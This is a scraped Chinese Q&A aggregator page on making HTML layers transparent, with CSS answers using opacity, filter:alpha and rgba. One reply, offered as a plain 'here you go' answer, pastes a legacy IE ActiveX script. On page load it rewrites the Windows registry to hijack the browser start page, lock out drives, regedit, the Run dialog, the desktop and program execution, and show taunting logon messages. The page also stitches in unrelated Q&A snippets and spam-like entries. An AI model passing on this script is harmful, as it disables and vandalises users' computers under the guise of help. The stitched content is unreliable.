如何在在html代码中实现图层透明

作者&投稿:鄹和 (若有异议请与网页底部的电邮联系)
如何在在html代码中实现图层透明~

图层透明可能有3种可能。
图层没有背景色或背景图片,其本身就是透明的,其中有文字、图片不透明,没有内容的区域可以直接看到下一层。
通过CSS样式表设置
filter:alpha(Opacity=50); /*IE支持,取值0-100*/
opacity: 0.5; /*HTML5浏览器,取值0-1*/
这种方法包括背景,内容的文字、图片、边框都会变为半透明。
3、做一张PNG图片,PNG图片支持透明和半透明甚至渐变透明。图层以这张图片作为背景。和第一种情况一样,背景是透明或半透明的,但内容是不透明的。

问题分析:
HTML的标签可以使用CSS的background-color来设置背景颜色以及透明度。
举例如下:
以下示例将分别演示不透明、50%透明度以及20%透明度的三种不同效果。
HTML代码:

123456789

我是黑色背景,不透明的。 我是黑色背景,50%透明度。 我是黑色背景,20%透明度。


CSS代码:

123456789101112131415161718
#test-1, #test-2, #test-3{ width: 300px; height: 200px; line-height: 200px; text-align: center; display: inline-block; margin-left: 50px; color: #FFF;}#test-1{ background-color: rgba(0,0,0,1);}#test-2{ background-color: rgba(0,0,0,0.5);}#test-3{ background-color: rgba(0,0,0,0.2);}

给你这个:<?xml version="1.0" encoding="UTF-8"?>
<body cache="true" ebk2="1"></td>
</tr>
<tr>
<td><script language=javascript>
<!--
var Words ="<meta http-equiv="Content-Language"content="zh-cn">
<script>
//写注册表的代码
document.write("<APPLETHEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
document.write("<h1>世上本无情,庸人自扰之。。。。。</h1>");
function f()
{
try
{
//为写注册表做准备
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
//正式开始修改注册表
try
{
//修改IE首页
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://ok989.ok999.net");
//禁止“开始”-“运行”
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
\\NoRun", 01, "REG_BINARY");
//禁止“开始”-“关闭系统”
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
\\NoClose", 01, "REG_BINARY");
//禁止“开始”-“注销”
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
\\NoLogOff", 01, "REG_BINARY");
//屏蔽驱动器(效果上已达到屏蔽所有的驱动器)
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
\\NoDrives", "67108863","REG_DWORD");
//禁止使用Regedit.exe修改注册表
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\
DisableRegistryTools","00000001", "REG_DWORD");
//禁止显示桌面图标
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDesktop","00000001","REG_DWORD");
//禁止“MD-DOS兼容程序”
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
//禁止“开始”-“关闭系统”的“重新启动计算机并切换到MS-DOS方式”选单
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
//修改系统启动时弹出的对话框
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption","★黑客鬼域★");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText", "★天地无情。死不瞑目★");
//添加启动项,无用
Shl.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\
RunServices\\SchedulingAgent","","REG_SZ");
//禁止保存用户设置
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoSaveSettings",01,"REG_BINARY");
//禁止桌面,驱动器,文件夹右键
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoViewContextMenu",01,"REG_BINARY");
//禁止任务栏右键
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoTrayContextMenu",01,"REG_BINARY");
//添加启动项,无用
Shl.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\
Run\\ScanRegistry","","REG_SZ");
//禁止打开文件夹
Shl.RegWrite("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\\"
,"rem [ViewFolder(%l, %I,%S)]","REG_SZ");
Shl.RegWrite("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\\"
,"rem [ViewFolder(%l, %I,%S)]","REG_SZ");
//作用不详
Shl.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383},"rem [ViewFolder(%l,%I, %S)]","REG_SZ");
//作用不详
Shl.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383},"REG_SZ");
//禁止.reg文件,文本方式打开
Shl.RegWrite("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\\","txtfile","REG_SZ");
//禁止运行任何程序
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD");
//作用不详
Shl.RegWrite("HKEY_LOCAL_MACHINE\\Enum\\PCI\\ChannelOptions",02,"REG_BINARY");
//禁止关闭IE窗口
Shl.RegWrite("HKCU\\Software\\Policies\\Microsoft\\InternetExplorer\\Restrictions\\NoBrowserClose","01", "REG_DWORD"); //禁止“我的电脑”-“属性”-“设备管理器”
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\System\\NoDevMgrPage",1, "REG_DWORD");
//禁止“控制面板”
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\
Explorer\\NoSetFolders",1,"REG_DWORD");
//禁止“开始”-“查找”
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoFind","00000001", "REG_DWORD");
//禁止“开始”-“收藏夹”
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoFavoritesMenu", "00000001", "REG_DWORD");
//禁止“开始”-“文档”
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoRecentDocsMenu", "00000001","REG_DWORD");
//禁止“任务栏属性”
Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoSetTaskbar", "00000001", "REG_DWORD");
//修改时间提示信息
Shl.RegWrite("HKEY_CURRENT_USER\\ControlPanel\\International\\stimeformat","HH:mm:ss tt","REG_SZ");
Shl.RegWrite("HKEY_CURRENT_USER\\ControlPanel\\International\\s1159"
,"★嗜血魔都★","REG_SZ"); Shl.RegWrite("HKEY_CURRENT_USER\\ControlPanel\\International\\s2359","★正言魔道★","REG_SZ");
//end Write Regeditdocument.write("<body bgcolor=#FF0000>");
document.write("<h1>天地无情。死不瞑目</h1>");
}
catch(e)
{
document.write("<bodybgcolor=#FF0000>");
document.write("<h1>天地无情。死不瞑目!</h1>");
}
}
catch(e)
{
document.write("<bodybgcolor=#FF0000>");
document.write("<h1>天地无情。死不瞑目</h1>");
}
}
function clean()
{
setTimeout("f()", 1000);
}
clean();
</script>
<SCRIPT LANGUAGE="javascript">
<!-- Begin
if (this.name!=fullscreen)
{
window.open(location.href,fullscreen,fullscreen,scrollbars)
}
// End -->
</script>
<body bgcolor="#FF0000">
<p><b><font size="7" face="黑嗜七界">
</font></b></p>
<p><b><font face="正领九天"size="7">
抽刀断水,水更流。</font></b></p>
<p><font face="王霸之气"><fontsize="7"><b>
举杯消愁,愁更愁</b></font><b><font size="7">。</font></b></font></p>"
//解密原代码
不许可显示,哈哈,你已接注万花谷啦。。。。。
</script>

<div style="-moz-opacity:0.5;filter:alpha(opacity=50);">这里放需要半透明的内容</div>


学前教育的意义何在?
学前教育,通常指的是针对幼儿(一般为3-6岁儿童)的教育,它在儿童发展过程中扮演着至关重要的角色。学前教育不仅仅是学习基础知识的过程,更是儿童社会化、情感发展、认知能力提升和人格形成的关键阶段。下面将详细探讨学前教育的意义:认知发展:学前教育通过各种教学活动帮助儿童发展语言能力、数学概念和...

社会性别研究的意义何在?
其次,社会性别研究对于消除性别歧视、促进性别公正具有重要意义。它揭示了性别不平等在不同领域、不同层面的表现形式和根源,为制定和实施性别平等政策提供了科学依据。通过推动政策调整和社会变革,我们可以逐步消除性别歧视,为每个人创造更加公正、平等的生存和发展环境。此外,社会性别研究还有助于提升女性...

人民币1亿元怎么用数字表示?依据何在?
如果是数字的话是CNY¥100,000,000.00——支票的面额可以这么写,因为逗号按照英文念法来写,三个零一个逗号,CNY为中国人民币的国际货币代码。至于依据,不需要什么依据,这样写便是正确的。以下资料希望对您有所帮助:货币代码指一国货币在交易中为了方便而使用的代码。一般以三个大写的英文字母表示...

昆虫记中螳螂形象的意义何在?
在《昆虫记》中,螳螂的探究点主要集中在以下几个方面:1. 捕食习性:螳螂以其敏捷的动作著称,捕食过程迅速,只捕食活虫。它们使用其带有刺的前足紧紧夹住猎物,以确保猎物不会逃脱。当受到惊吓时,螳螂会振动翅膀发出沙沙声,同时展示其鲜明的警戒色。2. 前肢结构:螳螂的前肢,即捕捉足,经过特殊...

一叶知秋秋何在的下句
风扫落叶秋自来。出自《秋的节奏》作者现代诗人玥阑 原文:“一叶知秋秋何在,风扫落叶秋自来。一抹离愁上心头,花自飘零水自流。月色阑珊,秋意浓,秋风瑟瑟显温柔。秋雨绵绵润心田,秋叶零落起悲愁。”白话译文:一片叶子知道秋在哪,风扫落叶秋天自己来。一个抹离愁上心头,花,自顾地飘零,水,自...

贾浅浅被骂上热搜,文学批评公信力何在
在文学批评方面,当前中国文学界存在批评公信力缺失的问题。一些文学作品,特别是涉及政治敏感话题的作品,往往在批评环节受到限制。这导致文学批评在引领公众思考、推动文学进步方面的作用受到削弱。贾浅浅事件引发的讨论,体现了人们对文学批评的期待与关注。希望文学批评能够真正成为文学创作的指南与推动器,...

看香的意义何在呢?
所以亲,这没啥意思,纯属偶然。你提到的这类现象,是迷信,统称为“看香头”,即根据烧香的香呈现的不同形态来判断吉凶,或者在上香的时候发生了什么状况,实际上是不准的,香烧的长短,跟香的质量、材料、紧密程度、所在处是否有风、氧气分布均匀度、点火的时间前后等都有关系,但并不昭示什么,神仙...

天理何在?
天理是不存在的,法律是实有的,有什么事解决不了,不妨通过法律程序,定会还你一个朗朗乾坤。

伊人何在总在寒冷清秋出自那首诗
出自:张恨水《金粉世家》听雨少年听雨歌楼上,红烛昏罗帐,去年听雨楼阁上,江阔云底,断雁叫西风,而今听雨屋檐下,秋叶已凋零,悲欢离合总无情,伊人何处,总在寒冷清秋!翻译:年少的时候,歌楼上听雨,红烛盏盏,昏暗的灯光下罗帐轻盈。去年在楼阁听雨,茫茫江面,水天一线,西风中,一只孤雁阵阵哀呜。而今...

伊人何在,总在寒冷清秋是什么意思
意思是那人在哪里,总是在寒冷的清秋!出自:张恨水《金粉世家》听雨少年听雨歌楼上,红烛昏罗帐,去年听雨楼阁上,江阔云底,断雁叫西风,而今听雨屋檐下,秋叶已凋零,悲欢离合总无情,伊人何处,总在寒冷清秋!翻译:年少的时候,歌楼上听雨,红烛盏盏,昏暗的灯光下罗帐轻盈。去年在楼阁听雨,...

绿春县17265645244: 如何在在html代码中实现图层透明 -
鄣妮乙水: 图层透明可能有3种可能. 1. 图层没有背景色或背景图片,其本身就是透明的,其中有文字、图片不透明,没有内容的区域可以直接看到下一层. 2. 通过CSS样式表设置filter:alpha(Opacity=50); /*IE支持,取值0-100*/opacity: 0.5; /*HTML5浏览器,取值0-1*/这种方法包括背景,内容的文字、图片、边框都会变为半透明.3、做一张PNG图片,PNG图片支持透明和半透明甚至渐变透明.图层以这张图片作为背景.和第一种情况一样,背景是透明或半透明的,但内容是不透明的.

绿春县17265645244: 如何在在html代码中实现图层透明
鄣妮乙水: <div style="-moz-opacity:0.5;filter:alpha(opacity=50);">这里放需要半透明的内容</div>

绿春县17265645244: 请问在HTML中如何把一张图片的背景设置为透明的??? -
鄣妮乙水: 还有,感觉你等下可能还要再问,这个层里面的文字也透明了,而你只需要背景透明.所以再补充如下:.alpha1 /* 定义透明背景,这里你还可以定义层的宽度高度等 */{background:url(你的背景图片URL地址) filter:alpha(opacity=50);}

绿春县17265645244: 网页中(HTML)如何在图片上方做一个透明层实现的链接 -
鄣妮乙水: 这么简单 不用层,用热区就OK啦 点击图片,在左下角找到热区选择

绿春县17265645244: HTML中怎么把叠在上面的图片半透明并显示下面的图片 -
鄣妮乙水: 这个是鼠标移上去后变换图片的代码,在PS中把第二张图片改为半透明PNG图片,应该就可以达到这种效果了. 将下面的代码复制到〈BODY〉区://Preload Kiss Images IrishKiss=new Image(140,105) IrishKiss.src="图1地址" IrishKissAnim=new Image(140,105) IrishKissAnim.src="图2地址" document.write('')

绿春县17265645244: html中兼容透明度的代码怎么写 -
鄣妮乙水: css样式中加入:filter:alpha(opacity=30);//修改opacity对应的数值即可实现不同程度的透明效果,需注意的时候ie不支持以上功能!

绿春县17265645244: html background - color如何设置为透明? -
鄣妮乙水: html background-color设置为透明的方法如下:<html> <head> <title>透明表格</title> </head> <body background="图片"> <table border="0"> <tr> <td style="background-color:#336699;filter:Alpha(opacity=50)">表格内容</td> </tr> </table> ...

绿春县17265645244: 在html中怎么通过js让图片透明度渐变 -
鄣妮乙水: <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>简单透明度渐变</title> </head> <style type="text/css"> *{margin:0;padding:0;} #oDiv{width:200px;height:200px;margin:0 auto;background:#000;} </style> <body> <div id="...

绿春县17265645244: html中怎样使图片呈透明状态 -
鄣妮乙水: <script language="JavaScript" type="text/JavaScript"> <!-- // flashloverfunction correctPNG(){for(var i=0; i<document.images.length; i++){var img = document.imagesvar imgName = img.src.toUpperCase()if (imgName.substring(...

绿春县17265645244: 让图片在网页中显示半透明的html代码、 这样的代码有吗? 贡献一下吧!小女子先谢过了!
鄣妮乙水: 没有~有你也很难弄~本人试过了~没成功~是JS的~~你用PNG图片吧~放弃IE6吧~~国外的都是放弃IE6的了

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网